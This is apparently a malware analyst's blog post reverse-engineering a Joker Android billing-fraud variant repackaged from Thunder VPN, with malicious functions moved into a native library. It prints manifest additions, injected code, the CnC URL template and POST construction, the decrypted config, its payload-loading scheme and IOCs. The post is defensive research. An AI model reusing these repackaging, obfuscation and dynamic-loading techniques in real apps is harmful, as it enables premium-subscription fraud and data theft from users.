Hello! This post is an analysis of a variation of the billing fraud Android malware known as Joker that, in this case, utilities a native component (a shared object file, think of it as a Windows DLL). Key topics that we will discuss:

  • What is Joker
  • Critical malware functionality that was hidden in the native layer
  • Payload and artefacts
  • Human footprints and a crude timeline

A little bit of history is first in order

In September 2019 Aleksejs Kuprins published a detailed analysis, on medium, for a Android malware which he and his organization named Joker: Analysis of Joker — A Spy & Premium Subscription Bot on GooglePlay. I highly recommend it, it’s a quick 10 minute read.

From that point on reverse engineers, malware analysts, and security enthusiasts have subsequently found, an additional, alarming number of Jokers on Google Play (it’s always easier once you known what you’re looking for).

In January 2020 Alec Guertin and Vadim Kotov of Googles’ Android Security & Privacy Team posted a highly detailed and elaborate article about the Bread family, as they call them. Bread are a large-scale billing fraud family and the threat actors behind Joker. You can read about it here: PHA Family Highlights: Bread (and Friends)

Intriguing sample

Out of all the available media on the threat, one particular example caught my eye. The sample described in Ahmet Bilal Can (@0xabc0)’s tweet.

The Google article also mentions this behavior and that it is becoming more and more common.

Bread has also tested our ability to analyze native code. In one sample, no SMS-related code appears in the DEX file, but there is a native method registered. … More recently, we have seen Bread-related apps trying to hide malicious code in a native library shipped with the APK. … they moved a significant portion of malicious functionality into the native library …

Although this behavior is not something new I wanted to better understand the evolution of this Joker and have a wack at it 🙂

Used and abused

Joker abused the popularity of the Thunder VPN application, that has over 10 million downloads, by taking it, injecting itself in it and re-uploading it to Google Play as a new, different application – Fast VPN. This until it was taken down of course.

When started, both the repackaged malicious version and the clean version look identical

Joker malware (left) clean Thunder VPN (right)

Each Android application has a unique identifier to it, it’s package name. No two applications with the same package name can be installed simultaneous on a device. The malware creators even imitated Thunder VPN Android package name, the difference is a missing dot and a leading .vpn

The only way they differ from the users’ point of view is by its name and icon

Joker malware (left) clean Thunder VPN (right)

Technical details

Finding the intruder

When analyzing a malware it is important to start … at the beginning. This, in industry terms, means going for the entry points (portions of code that are the first to be executed when an app starts running).

In Android application all declared components are entry points and in order to be recognized as such by the OS they must be declared in the AndroidManifest.xml file. This file contains the app meta-data and when an APK is built this file is converted to a specific binary format. There are several tools that can be used to convert it back. The most famous one is apktool.

With repackaged applications it often helps to compare the repacked with the original one, in our case Thunder VPN. After using the apktool and inspecting both meta-data files we can easily identify what has been added in the malicious version. The following XML indicates only what has been added in the Joker version compared to the original AndroidManifest.xml.

<manifest>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <application android:usesCleartextTraffic="true">
        <activity android:name="com.airbnb.lottie.d.BandeTeng" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
        <service android:name="co.mobiwise.materialintro.d.WenServer" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
            <intent-filter>
                <action android:name="android.service.notification.NotificationListenerService"/>
            </intent-filter>
        </service>
        <receiver android:exported="true" android:name="com.nostra13.universalimageloader.utils.PlenGor" android:permission="android.permission.INSTALL_PACKAGES">
            <intent-filter>
                <action android:name="com.android.vending.INSTALL_REFERRER"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

Normally the first entry point would be the launcher Activity but, as it also is in our case, if there is an Application class component, then that is your first go.

Application entry point

The Application class component is com.signallab.thunder.app.AppContext and by comparing code from both samples we find that there is a difference in the onCreate method:

    public void onCreate() {
        super.onCreate();
        a.a.a.b.a((Context) this); // this is not present in the original application
        a = this;
        this.c = 0;
        a.a().b();
        b.a((Context) this).b();
    }

After inspecting the identified new components and Application component injected call we determined that the malicious code is found in the following classes

Joker malicious code

Please note, the malware authors chose to spread the malicious code in clean, popular SDKs throughout this APK. android.arch.lifecycle, co.mobiwise.materialintro, com.airbnb.lottie and nostra13.universalimageloader do not harbor malicious code, they were merely used here, piggybacked, by Joker in order to thwart automatic malware detection systems most likely. Think of it like hiding leafs (code) in a forest (popular SDKs), only the bad kind of leafs …

Native code analysis

The peculiarity of this sample, as previously stated, comes from it’s use of the Java Native Interface. Meaning it uses natively running code so our attention is focused there.

By carefully looking at the malicious code we find that all the native functionality is declared in the VenNor class. A stripped version of VenNor class showing only the JNI (Java Native Interface) follows

Joker Java Native Interface

Native code resides in a .SO (shared object) executable file found, usually, in the lib directory of the APK. That is where the loadLibrary function searches in order to find and load the binary. VenNor loadLibary shows such a call loading the pdker library (in actuality it will look for the libpdker.so file but semantics). The original VPN application supported 4 CPU instruction sets: arm64-v8a, armeabi-v7a, x86 and x86_64. We observer that Joker also chose to imitate this and thus provides a build for each of the 4 instruction sets.

APK lib folder contents

As Eduardo Novella indicated in a tweet, the binary file was compiled using a method that makes static analysis of the file (of which I would have preferred) unpractical. Thus, for analysis a dynamic method was used. This meant executing each function in order to observer what is does.

The questions asked were:

  • what functionality has been migrated to native code?
  • how is this version different from others of the same malware. Has it evolved?

Each native functions is analyzed as follows.

String ReterString(int index)
Returns a specific string depending on the provided index.
There are 76 possible strings and are all situated in the interval [1, 76]. If an index outside of this interval is given then null is returned.

When looking at the Joker code we see that there are virtually no strings in plaintext. The Joker malware family is known for its use of string obfuscation so this is not quite that surprising. In places where a string would be required we see calls to this ReterString (ReturnString?) function. The function returns a different string corresponding to the passed index/id. There are only 76 strings returned all provided by arguments in the interval [1, 76]. On a personal note, I am starting to believe that a non-technical person designed this string encryption schema. Developers, in general, would not start an array at 1.

After this first step we can see the results when replacing all calls to this function to the actual resulting string.

First step – native string deobfuscation

This first stem is essential but we are still left with randomly looking strings. This is because there are actually several other native functions used to further deobfuscate strings. Those are the next targets.

FunctionDescription
String Kanble (String str) Strips GtflydGofx from string
String Yunbe (String str)Strips TmdtfltydGdofx from string
String gHende (String str)Strips MdtflydGdofx from string

The strip functions’ names do not seem to have any particular semantics. We can guess for fun that Kanble – Enable or Scramble? Yunbe – a Japanese variation of last night or a gene analysis algorithm? gHende – getHen… something (why is there even one that starts with a lower case?? meh).

After applying these changes, the code we have left now is fully without string encryption. What we are left with is this:

Second step – full string deobfuscation

which is remarkably similar with the original analysis of the Joker, where we see:

Source: Medium, Analysis of Joker — A Spy & Premium Subscription Bot on GooglePlay

Apparently the core structure of the malware is the same, this sample only added an extra layer of obfuscation on top of the original code.

String QertOptor(Context context)
Returns the MCC+MNC (mobile country code + mobile network code) of the provider of the SIM. It basically is equivalent to calling getSimOperator

Even from the images you can map the logic and see that the function QertOptor (QueryOperator?) is actually equivalent to calling getSimOperator.

The malware authors simply moved what they considered key functionality (or maybe what they thought security researchers considered key functionality) to the native side. This is apparent with several other small functions as well.

Intent LengRequest()
Returns an intent of the form Intent { act=android.settings.APPLICATION_DETAILS_SETTINGS flg=0x10000000 }

This intent is used by the malware if requesting permissions is not granted. If it can request permissions, it will request “android.permission.READ_PHONE_STATE”, otherwise it will open the application details of its current application using this intent.

Intent BleOpenSettings() and Intent HuOpenSettings()
Returns an intent of the form:
Intent { act=android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS flg=0x10000000 }

Both functions return the same type of Intent, the differences is that one is used when the other fails. This intent is used to ask the user to allow the application to, innocently read notifications. Of course a VPN application needs to read notifications in order to function properly…

Intent WenNoti(String str)
Creates an intent of type Intent { act=action_text (has extras) } with the passed string set as the text for the android.text key of the extras bundle

This intent is used to pass the SMS notification text from the notification service to another component of the Joker. WenNoti – WhenNotified?

Payload downloading

The last 3 native functions are a bit tricky. They are used in tandem with one another and the input of one is the output of the previous with the starting point being communication with the CnC and retrieving the first payload (which is actually config data).

The first in the foretold pipeline is the BigConfig function(well, no name guessing here). A payload retrieved from the CnC is passed to it, along with the package name and mobile country code.

In order to stimulate the function data from the CnC was required. The first CnC address is the same as that in the already mentioned paper 3.122.143[.]26. When forming the full URL of the CnC we see the template

String configURL = "http[:]//3.122.143[.]26/api/ht" + a.a.a.a.a(4) + "/";

where a.a.a.a.a(4) is a call to random hash generation algorithm which will return a 4 letter long hash in this case. When this sample interrogates this CnC in order to retrieve the payload it does a POST. The POST data is constructed as follows

StringBuilder postData = new StringBuilder();    // postData = 
postData.append("{\"cd\":\"");                   // postData = {"cd":"
postData.append(b.b());                          // postData = {"cd":"<custom_hash>
postData.append("\",\"rf\":\"w\",\"version\":"); // postData = {"cd":"<custom_hash>","rf":"w","version":"
postData.append(6);                              // postData = {"cd":"<custom_hash>","rf":"w","version":"6
postData.append("}");                            // postData = {"cd":"<custom_hash>","rf":"w","version":"6"}

b.b() is a custom hash generation function that uses the sample package name and the MCC while encoding it to base64 and doing a custom shuffle.

URLPOST data
http[:]//3.122.143[.]26/api/htmFsX/{“cd”:”Y29tLmZhc3RmcmVlLnVuYmxvY2sudGh1bmRlciMzMTE6Ai”,”rf”:”w”,”version”:6}
http[:]//3.122.143[.]26/api/htrrcs/{“cd”:”Y29tLmZhc3RmcmVlLnVuYmxvY2sudGh1bmRlciMzMTE6Kl”,”rf”:”w”,”version”:6}
http[:]//3.122.143[.]26/api/htZaKX/{“cd”:”Y29tLmZhc3RmcmVlLnVuYmxvY2sudGh1bmRlciMzMTE6sc”,”rf”:”w”,”version”:6}

Examples of CnC POSTs

At this point it is worth mentioning that the android:usesCleartextTraffic=”true” that was inserted by the malware in the AndroidManifest.xml (discussed above) is required otherwise an exception would be thrown. Starting with Android API 28 cleartext network traffic, such as cleartext HTTP is not permitted by default. Jokers uses HTTP network traffic.

The post data generation algorithm uses the app package name and MCC as seeds so it is highly likely that from this point on the returned payload differs with regards to these 2. For the sake of completion for this analysis the MCC that was used was that 26206 corresponding to Germany Telekom/T-mobile. The server returned 320 bytes worth of encrypted data.

5ddfe5c5cb1cd3027146249348e5aeacda6a7ab719c55af532e13c714726221a13a8825c47003abf349bd89fd4f93ae049c8b9427f432c6f2cb50c19202fe5d91c8341076cb9fb93751befddaf426d6f5c1fe8fa4f3693dc864091f7c9cea7e173ed8361ef36393b576b903c6c72cda890f61e501c40ea6e2cfa0894b911484a2bfca2f8b662e089c83faab63a5700dea2d70aa98c83d3fc30c8e26ff9e47111

As it is it has no value but from here on we have all that we need to test our assumption of BigConfig. Executing Big with the necessary inputs the output fully confirms our suspicion. The return is an array of 8 strings.

["", "https[:]//s3.eu-north-1.amazonaws[.]com/res.value/s8-7-refferer-release-dsp" , "18", "32", "com.plane.internal.Entrance", "initialize", "http[:]//18.139.46[.]15/", "pkfwXB" ]

If we map those with regards to the Kuprins’s analysis (and from the following execution flow) we see the meaning of each element has not changed.

  1. first element would be the delimiter used to split the config data. In this particular implementation the returned delimiter is empty
  2. the URL from which to download the main component (a new Joker version: s8-7-refferer-release-dsp) The downloaded file is partially obfuscated.
  3. first input required to deobfuscated the main component
  4. second input required to deobfuscated the main component
  5. main class of the main component (to be further on loaded)
  6. primary method, i.e. entry point of the main component
  7. CnC URL
  8. campaign tag

For 1, 7 and 8 I am relying strictly on Kuprins’s analysis. It is outside the scope of this article to analyze the main Joker component.

So for BigConfig we have the definition

String[] BigConfig(String encryptedConfig, String packageName, String mcc)
Decrypts the configuration data retrieved from the first CnC
encryptedConfig – encrypted config data retrieved from the CnC
packageName – current application Android Package Name
mcc – current network mobile country code
Returns an array that contains, in order:
0 – used delimiter
1 – main component download URL
2 – deobfuscation input data
3 – deobfuscation input data
4 – main component entry point Java Class
5 – main component method entry point
6 – new CnC URL
7 – current campaign tag

Continuing from the main component download URL, we retrieve the next component and pass it along with the two deobfuscation inputs to the weBar function which handles the deobfuscation part.

void weBar(int indexStart, int indexEnd, BufferedInputStream encryptedBufferStream, BufferedOutputStream decryptedBufferStream)
Decrypts the provided buffer.

Ok, something went wrong right about here. What the server returned was s8-7-refferer-release-dsp (MD5 hash: e04607a78ee016045d65cb8bb42e6087) but using the indexes provided (18, 32) resulted in an invalid dex. I admit that I used a different country proxy from that that was indicated by what MCC codes that I used, this is what probably caused the mishap. After examining the s8-7-refferer-release-dsp I determined that correct indexes would be 18 and 50 but even in that case, somehow, the zip structure was left not exactly right but right enough to extract the s8-7-refferer-release-dsp corresponding valid classes.dex (MD5 hash: 14fe5dc77d00bbe8b10124fc168fb604).

The decryption algorithm is the same as in the medium article.

… reads the DEX file in a buffer 128 bytes at a time. The de-obfuscation “keys” are the positional indexes for this buffer. For each iteration, the routine reads the bytes of the obfuscated buffer only between these positions and writes them into a file, producing a valid DEX file in the end.

Analysis of Joker — A Spy & Premium Subscription Bot on GooglePlay

s8-7-refferer-release-dsp – Joker main component

By this point, searching online for the link found in the core component led me to an interesting security report from Eversec about Joker (and other malware). Unfortunately I could not find an English version of the report but it looks like quite an interesting read.

We are left with one more native function, PtCher (Pointer maybe?).

Class PtCher(String[] configData, Context context, File mainComponent)
Loads the main component (decrypted) into memory, loads and returns the provided main class

The method just loads the decrypted classes.dex, and the main class which in our case is class com.plane.internal.Entrance. The next instruction in the execution flow is to call the main method of this class (actually the only method) initialize. From here on out the malware execution is passed to the main component.

People footprints

People have a natural tendency to wish to do more of something with less effort, of course. This applies to software developers and to malicious software developers.

ITW (In the Wild, as in the Wild Wild Web) one sees a lot of polymorphic malware over the years. They usually follow a template, extending from there. Joker is no exception, new versions with small variations appear frequently.

In my opinion this native Joker however, is custom built, handmade, more of an experiment I presume from which to derive a malicious template if proven to be a successful experiment. Why do I believe this? several reasons

It is based upon an existing application that it also tries to imitate in the wrong ways.

What to I mean by this, take the package name for example. Imitating a package name automatically means a standardized algorithm is needed. Such an algorithm can be simplistic as inserting a random string token in the original package name; this is not the case. Another frequently used example is shuffling parts of the original package name; not in this case. Stripping parts of the original package name; not exactly the current case. Combining 2 parts of a package and stripping another is a somewhat custom variation, almost like someone took the app and thought, how can I change it a bit, but just a bit. Also, Joker malware from what I have seen have standalone, custom generated, package names, not imitating ones.

The naming conventions used for code artifacts.

Again, I have seen a lot of Jokers using just Proguard like names for classes (a, b, c, d, aaz, etc) or random chosen words from different semantic fields; not the case with this sample. There are:

  • (apparent) random names for methods and classes (Kanble, Yunbe, PtCher, VenNor)
  • some that appear as if they were originally carefully chosen then just applied some minor difference, such as just deleting a few letters (QertOptor – QueryOperator, ReterString – ReturnString, WenNoti – WhenNotified, pdker – Joker?)
  • Normal names BigConfig, BleOpenSettings, HuOpenSettings
  • Proguard names (a, b, c …)

What is more, the normal names actually have semantic value, they partially convey what they do (this is rare even in normal development processes).

Native code injection mimicking original sample native code.

There is one version of the native malicious code for each CPU that the original application supports. If this was intended then it adds as prof. In order to industrialize malware deployment with native components that mimic its original applications, a collection of natively supporting clean applications would also be need. Crawling, storage, infrastructure, correlation glue logic; all in order to put the malicious binary next to another and have the app be detected in say 4.5 hours rather then 4 hours (just an example). Bread family (Joker developers) have some time being active, industrialization costs surely way them as much as in any other development system. Joker also does not come with native binaries with minor exceptions such as this (where I consider it to be an experiment).

Certificate string details

This one kind of speaks for itself; nothing says I bashed my keyboard better then the good old asdfasdsadsa.

openssl pkcs7 -inform DER -in <CERT_FILE> -noout -print_certs -text

Command used to output certificate data

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 2702037547432058391 (0x257f90d558749e17)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=ASDFASD, ST=ADSFASD, L=SDASD, O=ASDASDF, OU=AGDSAF, CN=ADSFSAD
        Validity
            Not Before: Nov 28 08:18:52 2019 GMT
            Not After : Aug 31 08:18:52 2074 GMT
        Subject: C=ASDFASD, ST=ADSFASD, L=SDASD, O=ASDASDF, OU=AGDSAF, CN=ADSFSAD

These are my arguments, of course I can be wrong and this is all my imagination. It is a possibility you are free to dismiss as you please.

A possible timeline

One more thing, from all the data that we have we can construct a modest timeline.

  1. Certificate was created at 28.11.2019 08:18:52 (start of a normal working day). Presumingly this is when development started.
  2. Zip file time show that the archive was built at: 03.12.19 17:26 (end of a normal working day). This amounts to 4 working days – plausible.
  3. Unknown time until published to GooglePlay, evaluation and acceptance of samples takes time.
  4. Identified by tweet in 11.12.2019 when it already had reached 5000+ downloads. This leaves a crude estimation of 10 days on the market before identification (not to mention that after it was identified removal wasn’t quite instant).

Conclusion

In the beginning the questions we asked were:

  • what functionality has been migrated to native code?
  • how is this version different from others of the same malware. Has it evolved?

In concluding our analysis we are left with the following observations:

  • Joker did not evolve structurally speaking, same components and load order
  • Same infrastructure with almost identical CnCs (1/2 was different)
  • Functionality was only moved to native interface
  • Even more custom string obfuscation
  • We know have a clear idea at what the developers consider as a liability in their code, because these parts were hidden in the native layer
  • Custom made sample, probably an experiment. Malware developer roughly starts work at around 08:00 and ends around 18:00 (more or less a guess)

IOCs

Native Joker sample SHA256: 2cfb89b6a5f290a46b700391ce53b32b3e579f3cb7bb8a8108e2b21c21a9ab69
First CnC: http://3.122.143[.]26/
Core component downloade link: https://s3.eu-north-1[.]amazonaws.com/res.value/s8-7-refferer-release-dsp
SHA256 of s8-7-refferer-release-dsp classes.dex file: debad7fe0b0a0833b2980a653d4fba82062b85ca99c25ee9abe7c7ff05359175
Second CnC: http://18.139.46[.]15/
Link used by core component where to send extracted data: http://cp.mobipotato[.]com/backend/api/v1/dsp/cpi/postback/

Thank you for reading up to here. This is my first post a bit lengthy one to say the least. I hope you enjoyed it and any feedback is appreciated.